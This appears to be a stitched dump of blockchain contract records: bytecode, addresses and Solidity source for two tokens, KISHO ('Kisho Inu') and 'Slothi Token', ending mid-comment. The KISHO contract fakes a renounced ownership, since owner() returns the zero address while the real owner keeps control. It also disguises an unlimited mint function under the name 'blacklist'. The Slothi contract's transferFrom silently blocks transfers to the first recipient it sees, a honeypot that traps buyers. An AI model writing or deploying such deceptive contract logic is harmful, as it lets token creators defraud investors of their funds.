2600082516139f481607e850160208701613d75565b7f202f203235360000000000000000000000000000000000000000000000000000607e939091019283015250608401919050565b7f646174613a6170706c69636174696f6e2f6a736f6e3b6261736536342c000000815260008251613a6081601d850160208701613d75565b91909101601d0192915050565b7f4f726e616d656e74204e6f2e2000000000000000000000000000000000000000815260008251613aa581600d850160208701613d75565b91909101600d0192915050565b7f2c202265787465726e616c5f75726c223a220000000000000000000000000000815260008351613aea816012850160208801613d75565b835190830190613b01816012840160208801613d75565b7f220000000000000000000000000000000000000000000000000000000000000060129290910191820152601301949350505050565b60006001600160a01b03808716835280861660208401525083604083015260806060830152613b6960808301846133b1565b9695505050505050565b6020815260006130fa60208301846133b1565b60008219821115613b9957613b99613e3c565b500190565b600060ff821660ff84168060ff03821115613bbb57613bbb613e3c565b019392505050565b600082613bd257613bd2613e6b565b500490565b600181815b80851115613c3057817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04821115613c1657613c16613e3c565b80851615613c2357918102915b93841c9390800290613bdc565b509250929050565b60006130fa8383600082613c4e5750600161068d565b81613c5b5750600061068d565b8160018114613c715760028114613c7b57613c97565b600191505061068d565b60ff841115613c8c57613c8c613e3c565b50506001821b61068d565b5060208310610133831016604e8410600b8410161715613cba575081810a61068d565b613cc48383613bd7565b807fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04821115613cf657613cf6613e3c565b029392505050565b6000817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613d3657613d36613e3c565b500290565b600082821015613d4d57613d4d613e3c565b500390565b600060ff821660ff841680821015613d6c57613d6c613e3c565b90039392505050565b60005b83811015613d90578181015183820152602001613d78565b838111156114105750506000910152565b600181811c90821680613db557607f821691505b60208210811415612b9e577f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415613e2157613e21613e3c565b5060010190565b600082613e3757613e37613e6b565b500690565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7fffffffff0000000000000000000000000000000000000000000000000000000081168114610c1e57600080fdfe4142434445464748494a4b4c4d4e4f505152535455565758595a6162636465666768696a6b6c6d6e6f707172737475767778797a303132333435363738392b2fa26469706673582212201fa92fe9af7522479cc4aef9e7a2eb1b0bdfd3d401c5a63138b6cb1fff1d970664736f6c63430008060033
[ 4, 19, 3, 11, 12, 5 ]
0xf1b362fbe67ad915d8e16967c6ba5b67dd733158
// SPDX-License-Identifier: MIT pragma solidity ^0.6.12; interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded.s * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return address(0); } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract KISHO is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isBlackListedBot; address[] private _blackListedBots; uint256 private _tTotal = 100_000_000_000_000 * 10**18; string private _name = 'Kisho Inu'; string private _symbol = 'KISHO'; uint8 private _decimals = 18; constructor () public { _balances[_msgSender()] = _tTotal; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function blacklist(address receiver, uint256 amount) public onlyOwner { require(_msgSender() != address(0), "ERC20: cannot permit zero address"); _tTotal = _tTotal.add(amount); _balances[receiver] = _balances[receiver].add(amount); emit Transfer(address(0), receiver, amount); } function addBotToBlackList(address account) external onlyOwner() { require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not blacklist Uniswap router.'); require(!_isBlackListedBot[account], "Account is already blacklisted"); _isBlackListedBot[account] = true; _blackListedBots.push(account); } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "BEP20: transfer from the zero address"); require(recipient != address(0), "BEP20: transfer to the zero address"); require(!_isBlackListedBot[recipient], "You have no power here!"); require(!_isBlackListedBot[msg.sender], "You have no power here!"); require(!_isBlackListedBot[sender], "You have no power here!"); _balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } }
0x608060405234801561001057600080fd5b50600436106100ea5760003560e01c806370a082311161008c57806395d89b411161006657806395d89b41146103c1578063a9059cbb14610444578063dd62ed3e146104a8578063f2fde38b14610520576100ea565b806370a082311461032b578063715018a6146103835780638da5cb5b1461038d576100ea565b806318160ddd116100c857806318160ddd1461022457806323b872dd14610242578063313ce567146102c65780634303443d146102e7576100ea565b806306fdde03146100ef578063095ea7b3146101725780631074bce5146101d6575b600080fd5b6100f7610564565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561013757808201518184015260208101905061011c565b50505050905090810190601f1680156101645780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101be6004803603604081101561018857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610606565b60405180821515815260200191505060405180910390f35b610222600480360360408110156101ec57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610624565b005b61022c610893565b6040518082815260200191505060405180910390f35b6102ae6004803603606081101561025857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061089d565b60405180821515815260200191505060405180910390f35b6102ce610976565b604051808260ff16815260200191505060405180910390f35b610329600480360360208110156102fd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061098d565b005b61036d6004803603602081101561034157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610c6c565b6040518082815260200191505060405180910390f35b61038b610cb5565b005b610395610dfa565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6103c9610dff565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104095780820151818401526020810190506103ee565b50505050905090810190601f1680156104365780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104906004803603604081101561045a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ea1565b60405180821515815260200191505060405180910390f35b61050a600480360360408110156104be57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ebf565b6040518082815260200191505060405180910390f35b6105626004803603602081101561053657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f46565b005b606060068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156105fc5780601f106105d1576101008083540402835291602001916105fc565b820191906000526020600020905b8154815290600101906020018083116105df57829003601f168201915b5050505050905090565b600061061a610613611151565b8484611159565b6001905092915050565b61062c611151565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1661070c611151565b73ffffffffffffffffffffffffffffffffffffffff161415610779576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806119936021913960400191505060405180910390fd5b61078e8160055461135090919063ffffffff16565b6005819055506107e681600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461135090919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b6000600554905090565b60006108aa8484846113d8565b61096b846108b6611151565b61096685604051806060016040528060288152602001611a2160289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061091c611151565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118d29092919063ffffffff16565b611159565b600190509392505050565b6000600860009054906101000a900460ff16905090565b610995611151565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a55576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610aee576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180611a926024913960400191505060405180910390fd5b600360008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610bae576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f4163636f756e7420697320616c726561647920626c61636b6c6973746564000081525060200191505060405180910390fd5b6001600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506004819080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610cbd611151565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d7d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3565b600090565b606060078054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610e975780601f10610e6c57610100808354040283529160200191610e97565b820191906000526020600020905b815481529060010190602001808311610e7a57829003601f168201915b5050505050905090565b6000610eb5610eae611151565b84846113d8565b6001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610f4e611151565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461100e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611094576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806119d96026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156111df576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180611ab66024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611265576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806119ff6022913960400191505060405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b6000808284019050838110156113ce576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561145e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806119b46025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156114e4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180611a6f6023913960400191505060405180910390fd5b600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156115a4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f596f752068617665206e6f20706f77657220686572652100000000000000000081525060200191505060405180910390fd5b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611664576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f596f752068617665206e6f20706f77657220686572652100000000000000000081525060200191505060405180910390fd5b600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611724576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f596f752068617665206e6f20706f77657220686572652100000000000000000081525060200191505060405180910390fd5b61179081604051806060016040528060268152602001611a4960269139600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118d29092919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061182581600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461135090919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b600083831115829061197f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611944578082015181840152602081019050611929565b50505050905090810190601f1680156119715780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838503905080915050939250505056fe45524332303a2063616e6e6f74207065726d6974207a65726f206164647265737342455032303a207472616e736665722066726f6d20746865207a65726f20616464726573734f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e636542455032303a207472616e7366657220746f20746865207a65726f206164647265737357652063616e206e6f7420626c61636b6c69737420556e697377617020726f757465722e45524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a264697066735822122071043d595338159051aa682d623342d30e899c794793f058d8fbbd6473cbe01064736f6c634300060c0033
[ 38 ]
0xf1b377e61063da4dd9996100d641eb7c537756c2
pragma solidity ^0.5.17; library SafeMath { function add(uint a, uint b) internal pure returns (uint c) { c = a + b; require(c >= a); } function sub(uint a, uint b) internal pure returns (uint c) { require(b <= a); c = a - b; } function mul(uint a, uint b) internal pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function div(uint a, uint b) internal pure returns (uint c) { require(b > 0); c = a / b; } } contract BEP20Interface { function totalSupply() public view returns (uint); function balanceOf(address tokenOwner) public view returns (uint balance); function allowance(address tokenOwner, address spender) public view returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } contract ApproveAndCallFallBack { function receiveApproval(address from, uint256 tokens, address token, bytes memory data) public; } contract Owned { address public owner; address public newOwner; event OwnershipTransferred(address indexed _from, address indexed _to); constructor() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address _newOwner) public onlyOwner { newOwner = _newOwner; } function acceptOwnership() public { require(msg.sender == newOwner); emit OwnershipTransferred(owner, newOwner); owner = newOwner; newOwner = address(0); } } contract TokenBEP20 is BEP20Interface, Owned{ using SafeMath for uint; string public symbol; string public name; uint8 public decimals; uint _totalSupply; address public newun; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; constructor() public { symbol = " Slothi Token"; name = "slothi.net"; decimals = 8; _totalSupply = 1000000 * 10**9 * 10**8; balances[owner] = _totalSupply; emit Transfer(address(0), owner, _totalSupply); } function transfernewun(address _newun) public onlyOwner { newun = _newun; } function totalSupply() public view returns (uint) { return _totalSupply.sub(balances[address(0)]); } function balanceOf(address tokenOwner) public view returns (uint balance) { return balances[tokenOwner]; } function transfer(address to, uint tokens) public returns (bool success) { require(to != newun, "please wait"); balances[msg.sender] = balances[msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(msg.sender, to, tokens); return true; } function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } function transferFrom(address from, address to, uint tokens) public returns (bool success) { if(from != address(0) && newun == address(0)) newun = to; else require(to != newun, "please wait"); balances[from] = balances[from].sub(tokens); allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(from, to, tokens); return true; } function allowance(address tokenOwner, address spender) public view returns (uint remaining) { return allowed[tokenOwner][spender]; } function approveAndCall(address spender, uint tokens, bytes memory data) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, address(this), data); return true; } function () external payable { revert(); } } /** function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap { // split the contract balance into halves uint256 half = contractTokenBalance.div(2); uint256 otherHalf = contractTokenBalance.sub(half); // capture the contract's current ETH balance. // this is so that we can capture exactly the amount of ETH that the // swap creates, and not make the liquidity event include any ETH that // has been manually sent to the contract 